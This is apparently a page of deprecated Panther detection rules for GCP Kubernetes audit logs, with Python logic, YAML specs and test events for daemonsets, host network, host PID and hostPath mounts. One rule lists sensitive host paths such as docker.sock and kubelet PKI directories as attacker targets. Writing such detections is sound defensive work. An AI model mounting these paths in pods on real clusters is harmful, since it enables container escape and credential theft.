Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • operation.producer is k8s.io
  • p_enrichment.tor_exit_nodes is present

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Add IP address the request is originated from to banned addresses.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "operation": {
    "producer": "k8s.io"
  },
  "p_enrichment": {
    "tor_exit_nodes": [
      "1.1.1.1"
    ]
  }
}

GCP K8s New Daemonset Deployed

#
Status
Deprecated
Severity
medium
Log types
GCP.AuditLog
Tags
Deprecated
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

Detects Daemonset creation in GCP Kubernetes clusters.

MITRE ATT&CK coverage

TacticTechniques
Execution

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False
    for auth in authorization_info:
        if (
            auth.get("permission") == "io.k8s.apps.v1.daemonsets.create"
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.K8s.New.Daemonset.Deployed"
DisplayName: "GCP K8s New Daemonset Deployed"
Description: "Detects Daemonset creation in GCP Kubernetes clusters."
Enabled: false
Status: Deprecated
Filename: gcp_k8s_new_daemonset_deployed.py
LogTypes:
  - GCP.AuditLog
Severity: Medium
Tags:
  - Deprecated
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7
Runbook: Investigate a reason of creating Daemonset. Create ticket if appropriate.
Reports:
  MITRE ATT&CK:
    - TA0002:T1610 # Deploy Container

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is io.k8s.apps.v1.daemonsets.create
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is io.k8s.apps.v1.daemonsets.create

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate a reason of creating Daemonset. Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "io.k8s.apps.v1.daemonsets.create"
      }
    ],
    "methodName": "v2.deploymentmanager.deployments.insert",
    "serviceName": "deploymentmanager.googleapis.com"
  },
  "receiveTimestamp": "2024-01-19 13:47:19.465856238",
  "resource": {
    "labels": {
      "name": "test-vm-deployment",
      "project_id": "panther-threat-research"
    },
    "type": "deployment"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-19 13:47:18.279921000"
}

GCP K8s Pod Attached To Node Host Network

#
Status
Deprecated
Severity
medium
Group by
protoPayload.authenticationInfo.principalEmail
Log types
GCP.AuditLog
Tags
Deprecated, GCP, Optional
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

This detection monitor for the creation of pods which are attached to the host's network. This allows a pod to listen to all network traffic for all deployed computer on that particular node and communicate with other compute on the network namespace. Attackers can use this to capture secrets passed in arguments or connections.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal


def rule(event):
    if event.deep_get("protoPayload", "methodName") not in (
        "io.k8s.core.v1.pods.create",
        "io.k8s.core.v1.pods.update",
        "io.k8s.core.v1.pods.patch",
    ):
        return False

    host_network = event.deep_walk("protoPayload", "request", "spec", "hostNetwork")
    if host_network is not True:
        return False

    # Check if this is a known GKE system service account
    principal_email = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default=""
    )
    if is_gke_system_principal(principal_email):
        return False

    # Check if this is in a system namespace
    resource_name = event.deep_get("protoPayload", "resourceName", default="")
    if is_gke_system_namespace(resource_name):
        return False

    return True


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return (
        f"[GCP]: [{actor}] created or modified pod which is attached to the host's network "
        f"in project [{project_id}]"
    )


def dedup(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return actor


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.K8s.Pod.Attached.To.Node.Host.Network"
DisplayName: "GCP K8s Pod Attached To Node Host Network"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_pod_attached_to_node_host_network.py
LogTypes:
  - GCP.AuditLog
Tags:
  - Deprecated
  - GCP
  - Optional
Severity: Medium
Description:
  This detection monitor for the creation of pods which are attached to the host's network.
  This allows a pod to listen to all network traffic for all deployed computer on that particular node and
  communicate with other compute on the network namespace. Attackers can use this to capture secrets passed in
  arguments or connections.
Reports:
  MITRE ATT&CK:
    - TA0004:T1611 # Escape to Host
Runbook:
  Investigate a reason of creating a pod which is attached to the host's network. Advise that it is discouraged
  practice. Create ticket if appropriate.
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is one of io.k8s.core.v1.pods.create, io.k8s.core.v1.pods.update, io.k8s.core.v1.pods.patch
  • protoPayload.request.spec.hostNetwork is true
  • any of:
    • protoPayload.authenticationInfo.principalEmail is empty
    • all of:
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-controller-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-scheduler
      • protoPayload.authenticationInfo.principalEmail does not start with system:addon-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-node-lease:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-managed-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:config-management-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:istio-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:asm-system:
  • protoPayload.resourceName is empty

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailstarts_withsystem:addon-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:addon-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-controller-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-controller-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-schedulerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-scheduler"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:asm-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:asm-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:config-management-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:config-management-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-managed-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-managed-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:istio-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:istio-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-node-lease:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-node-lease:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-system:"
protoPayload.authenticationInfo.principalEmailis_not_null(no value, null check)excludes:protoPayload.authenticationInfo.principalEmail
protoPayload.resourceNameis_not_null(no value, null check)excludes:protoPayload.resourceName

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.methodNamein
  • io.k8s.core.v1.pods.create
  • io.k8s.core.v1.pods.patch
  • io.k8s.core.v1.pods.update
field:"protoPayload.methodName" kind:in
protoPayload.request.spec.hostNetworkeq
  • true transforms: boolean
field:"protoPayload.request.spec.hostNetwork" kind:eq value:"true"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate a reason of creating a pod which is attached to the host's network. Advise that it is discouraged practice. Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "authorizationInfo": [
    {
      "granted": true,
      "permission": "io.k8s.core.v1.pods.create",
      "resource": "core/v1/namespaces/default/pods/nginx-test"
    }
  ],
  "protoPayload": {
    "methodName": "io.k8s.core.v1.pods.create",
    "request": {
      "spec": {
        "hostNetwork": true
      }
    }
  }
}

GCP K8S Pod Create Or Modify Host Path Volume Mount

#
Status
Deprecated
Severity
high
Group by
protoPayload.authenticationInfo.principalEmail
Log types
GCP.AuditLog
Tags
Deprecated
Reference
kubernetes.io
Source
github.com/panther-labs/panther-analysis

This detection monitors for pod creation with a hostPath volume mount. The attachment to a node's volume can allow for privilege escalation through underlying vulnerabilities or it can open up possibilities for data exfiltration or unauthorized file access. It is very rare to see this being a pod requirement. System service accounts in the kube-system namespace are excluded to prevent false positives from legitimate system components.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation
Exfiltration

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal

SUSPICIOUS_PATHS = [
    "/var/run/docker.sock",
    "/var/run/crio/crio.sock",
    "/var/lib/kubelet",
    "/var/lib/kubelet/pki",
    "/var/lib/docker/overlay2",
    "/etc/kubernetes",
    "/etc/kubernetes/manifests",
    "/etc/kubernetes/pki",
    "/home/admin",
]


def rule(event):
    # Check basic conditions
    if event.deep_get("protoPayload", "response", "status") == "Failure" or event.deep_get(
        "protoPayload", "methodName"
    ) not in (
        "io.k8s.core.v1.pods.create",
        "io.k8s.core.v1.pods.update",
        "io.k8s.core.v1.pods.patch",
    ):
        return False

    # Check if volume mount path is suspicious
    volume_mount_path = event.deep_walk(
        "protoPayload", "request", "spec", "volumes", "hostPath", "path"
    )

    has_suspicious_path = volume_mount_path and (
        volume_mount_path in SUSPICIOUS_PATHS
        or any(path in SUSPICIOUS_PATHS for path in volume_mount_path)
    )

    if not has_suspicious_path:
        return False

    # Check if this is a known GKE system service account or system namespace
    principal_email = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default=""
    )
    resource_name = event.deep_get("protoPayload", "resourceName", default="")

    if is_gke_system_principal(principal_email) or is_gke_system_namespace(resource_name):
        return False

    # Check authorization
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if (
            auth.get("permission")
            in (
                "io.k8s.core.v1.pods.create",
                "io.k8s.core.v1.pods.update",
                "io.k8s.core.v1.pods.patch",
            )
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    pod_name = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return (
        f"[GCP]: [{actor}] created k8s pod [{pod_name}] with a hostPath volume mount "
        f"in project [{project_id}]"
    )


def dedup(event):
    return event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )


def alert_context(event):
    context = gcp_alert_context(event)
    volume_mount_path = event.deep_walk(
        "protoPayload", "request", "spec", "volumes", "hostPath", "path"
    )
    context["volume_mount_path"] = volume_mount_path
    return context

Rule specification

AnalysisType: rule
RuleID: "GCP.K8S.Pod.Create.Or.Modify.Host.Path.Volume.Mount"
DisplayName: "GCP K8S Pod Create Or Modify Host Path Volume Mount"
Enabled: false
Status: Deprecated
LogTypes:
  - GCP.AuditLog
Severity: High
Tags:
  - Deprecated
Description: >
  This detection monitors for pod creation with a hostPath volume mount. The attachment to a node's volume can allow
  for privilege escalation through underlying vulnerabilities or it can open up possibilities for data exfiltration
  or unauthorized file access. It is very rare to see this being a pod requirement. System service accounts in the
  kube-system namespace are excluded to prevent false positives from legitimate system components.
Runbook: |
  Investigate the reason of adding hostPath volume mount. Advise that it is discouraged practice.
  Create ticket if appropriate.
Reference: https://kubernetes.io/docs/concepts/security/pod-security-standards/#host-namespaces
Reports:
  MITRE ATT&CK:
    - TA0010:T1041 # Exfiltration Over C2 Channel 
    - TA0004:T1611 # Escape to Host 
Filename: gcp_k8s_pod_create_or_modify_host_path_vol_mount.py
DedupPeriodMinutes: 360

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.response.status is not Failure
  • protoPayload.methodName is one of io.k8s.core.v1.pods.create, io.k8s.core.v1.pods.update, io.k8s.core.v1.pods.patch
  • protoPayload.request.spec.volumes.hostPath.path is present
  • protoPayload.request.spec.volumes.hostPath.path is one of /var/run/docker.sock, /var/run/crio/crio.sock, /var/lib/kubelet, /var/lib/kubelet/pki, /var/lib/docker/overlay2 (+4 more values, see Indicators below)
  • any of:
    • protoPayload.authenticationInfo.principalEmail is empty
    • all of:
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-controller-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-scheduler
      • protoPayload.authenticationInfo.principalEmail does not start with system:addon-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-node-lease:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-managed-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:config-management-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:istio-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:asm-system:
  • protoPayload.resourceName is empty
  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is one of io.k8s.core.v1.pods.create, io.k8s.core.v1.pods.update, io.k8s.core.v1.pods.patch
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is one of io.k8s.core.v1.pods.create, io.k8s.core.v1.pods.update, io.k8s.core.v1.pods.patch

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert deduplication
repeat matches within 6h group into one alert

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailstarts_withsystem:addon-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:addon-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-controller-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-controller-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-schedulerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-scheduler"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:asm-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:asm-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:config-management-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:config-management-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-managed-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-managed-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:istio-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:istio-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-node-lease:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-node-lease:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-system:"
protoPayload.authenticationInfo.principalEmailis_not_null(no value, null check)excludes:protoPayload.authenticationInfo.principalEmail
protoPayload.resourceNameis_not_null(no value, null check)excludes:protoPayload.resourceName
protoPayload.methodNameinio.k8s.core.v1.pods.create, io.k8s.core.v1.pods.patch, io.k8s.core.v1.pods.updateexcludes:protoPayload.methodName field:"protoPayload.methodName" value:"io.k8s.core.v1.pods.create" field:"protoPayload.methodName" value:"io.k8s.core.v1.pods.patch" field:"protoPayload.methodName" value:"io.k8s.core.v1.pods.update"
protoPayload.response.statuseqFailureexcludes:protoPayload.response.status field:"protoPayload.response.status" value:"Failure"

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
protoPayload.authorizationInfois_not_null
  • (no value, null check)
field:"protoPayload.authorizationInfo" kind:is_not_null
protoPayload.authorizationInfo.permissionin
  • io.k8s.core.v1.pods.create
  • io.k8s.core.v1.pods.patch
  • io.k8s.core.v1.pods.update
field:"protoPayload.authorizationInfo.permission" kind:in
protoPayload.methodNamein
  • io.k8s.core.v1.pods.create
  • io.k8s.core.v1.pods.patch
  • io.k8s.core.v1.pods.update
field:"protoPayload.methodName" kind:in
protoPayload.request.spec.volumes.hostPath.pathin
  • /etc/kubernetes
  • /etc/kubernetes/manifests
  • /etc/kubernetes/pki
  • /home/admin
  • /var/lib/docker/overlay2
  • /var/lib/kubelet
  • /var/lib/kubelet/pki
  • /var/run/crio/crio.sock
  • /var/run/docker.sock
field:"protoPayload.request.spec.volumes.hostPath.path" kind:in
protoPayload.request.spec.volumes.hostPath.pathis_not_null
  • (no value, null check)
field:"protoPayload.request.spec.volumes.hostPath.path" kind:is_not_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate the reason of adding hostPath volume mount. Advise that it is discouraged practice.

Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some.user@company.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "io.k8s.core.v1.pods.create",
        "resource": "core/v1/namespaces/default/pods/test"
      }
    ],
    "methodName": "io.k8s.core.v1.pods.create",
    "request": {
      "@type": "core.k8s.io/v1.Pod",
      "apiVersion": "v1",
      "kind": "Pod",
      "metadata": {
        "name": "test",
        "namespace": "default"
      },
      "spec": {
        "containers": [
          {
            "image": "nginx",
            "imagePullPolicy": "Always",
            "name": "test",
            "volumeMounts": [
              {
                "mountPath": "/test",
                "name": "test-volume"
              }
            ]
          }
        ],
        "volumes": [
          {
            "hostPath": {
              "path": "/var/lib/kubelet",
              "type": "DirectoryOrCreate"
            },
            "name": "test-volume"
          }
        ]
      }
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "kubectl/v1.28.2 (darwin/amd64) kubernetes/89a4ea3"
    },
    "resourceName": "core/v1/namespaces/default/pods/test",
    "response": {
      "spec": {
        "containers": [
          {
            "image": "nginx",
            "imagePullPolicy": "Always",
            "name": "test",
            "volumeMounts": [
              {
                "mountPath": "/test",
                "name": "test-volume"
              }
            ]
          }
        ],
        "volumes": [
          {
            "hostPath": {
              "path": "/var/lib/kubelet",
              "type": "DirectoryOrCreate"
            },
            "name": "test-volume"
          }
        ]
      },
      "status": {
        "phase": "Pending",
        "qosClass": "BestEffort"
      }
    }
  },
  "receiveTimestamp": "2024-02-16 11:48:43.531373988",
  "resource": {
    "labels": {
      "cluster_name": "some-project-cluster",
      "location": "us-west1",
      "project_id": "some-project"
    },
    "type": "k8s_cluster"
  },
  "timestamp": "2024-02-16 11:48:22.742154000"
}

GCP K8s Pod Using Host PID Namespace

#
Status
Deprecated
Severity
medium
Log types
GCP.AuditLog
Tags
Deprecated, GCP, Optional
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

This detection monitors for any pod creation or modification using the host PID namespace. The Host PID namespace enables a pod and its containers to have direct access and share the same view as of the host’s processes. This can offer a powerful escape hatch to the underlying host.

MITRE ATT&CK coverage

TacticTechniques
Execution
Privilege Escalation

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal

METHODS_TO_CHECK = [
    "io.k8s.core.v1.pods.create",
    "io.k8s.core.v1.pods.update",
    "io.k8s.core.v1.pods.patch",
]


def rule(event):
    method = event.deep_get("protoPayload", "methodName")
    request_host_pid = event.deep_get("protoPayload", "request", "spec", "hostPID")
    response_host_pid = event.deep_get("protoPayload", "response", "spec", "hostPID")
    if not ((request_host_pid is True or response_host_pid is True) and method in METHODS_TO_CHECK):
        return False

    # Check if this is a known GKE system service account
    principal_email = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default=""
    )
    if is_gke_system_principal(principal_email):
        return False

    # Check if this is in a system namespace
    resource_name = event.deep_get("protoPayload", "resourceName", default="")
    if is_gke_system_namespace(resource_name):
        return False

    return True


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return (
        f"[GCP]: [{actor}] created or modified pod using the host PID namespace "
        f"in project [{project_id}]"
    )


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.K8s.Pod.Using.Host.PID.Namespace"
DisplayName: "GCP K8s Pod Using Host PID Namespace"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_pod_using_host_pid_namespace.py
LogTypes:
  - GCP.AuditLog
Tags:
  - Deprecated
  - GCP
  - Optional
Severity: Medium
Description:
  This detection monitors for any pod creation or modification using the host PID namespace. The Host
  PID namespace enables a pod and its containers to have direct access and share the same view as of the host’s
  processes. This can offer a powerful escape hatch to the underlying host.
Runbook:
  Investigate a reason of creating a pod using the host PID namespace. Advise that it is discouraged
  practice. Create ticket if appropriate.
Reports:
  MITRE ATT&CK:
    - TA0004:T1611 # Escape to Host
    - TA0002:T1610 # Deploy Container
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • any of:
    • protoPayload.request.spec.hostPID is true
    • protoPayload.response.spec.hostPID is true
  • protoPayload.methodName is one of io.k8s.core.v1.pods.create, io.k8s.core.v1.pods.update, io.k8s.core.v1.pods.patch
  • any of:
    • protoPayload.authenticationInfo.principalEmail is empty
    • all of:
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-controller-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-scheduler
      • protoPayload.authenticationInfo.principalEmail does not start with system:addon-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-node-lease:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-managed-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:config-management-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:istio-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:asm-system:
  • protoPayload.resourceName is empty

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailstarts_withsystem:addon-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:addon-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-controller-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-controller-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-schedulerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-scheduler"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:asm-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:asm-system:"
